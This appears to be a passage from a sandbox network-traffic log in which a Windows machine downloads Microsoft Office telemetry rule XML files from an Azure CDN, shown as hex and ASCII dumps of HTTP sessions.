2024-11-23 19:23:01 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:01 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:01 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192301Z-178bfbc474bpscmfhC1NYCfc2c00000003fg00000000a8ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:01 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:01 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:01 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192301Z-174c587ffdf6b487hC1TEBydsn000000035000000000u31e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:01 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:03 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e9522a88-801e-0067-2316-3dfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192303Z-178bfbc474bv587zhC1NYCny5w00000004u0000000005zrv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:04 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:03 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:03 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 6093596d-b01e-0053-0311-3dcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192303Z-15b8b599d88g5tp8hC1TEByx6w000000037g00000000kqeg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:04 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:03 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:03 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192303Z-15b8b599d88pxmdghC1TEBux9c00000003k0000000003hpn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:04 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:03 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192303Z-174c587ffdf6b487hC1TEBydsn00000003cg0000000017et x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:03 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:04 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192304Z-174c587ffdfb485jhC1TEBmc1s000000032000000000seab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:04 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:05 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192306Z-174c587ffdfks6tlhC1TEBeza400000003gg000000002w2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:05 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3e1ce11e-901e-00ac-5292-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192306Z-15b8b599d882hxlwhC1TEBfa5w000000035000000000kwxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:05 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: a69f297f-901e-002a-244c-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192306Z-15b8b599d88qw29phC1TEB5zag00000003bg000000008r1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:05 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192306Z-15b8b599d88m7pn7hC1TEB4axw00000003g0000000002f32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:06 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
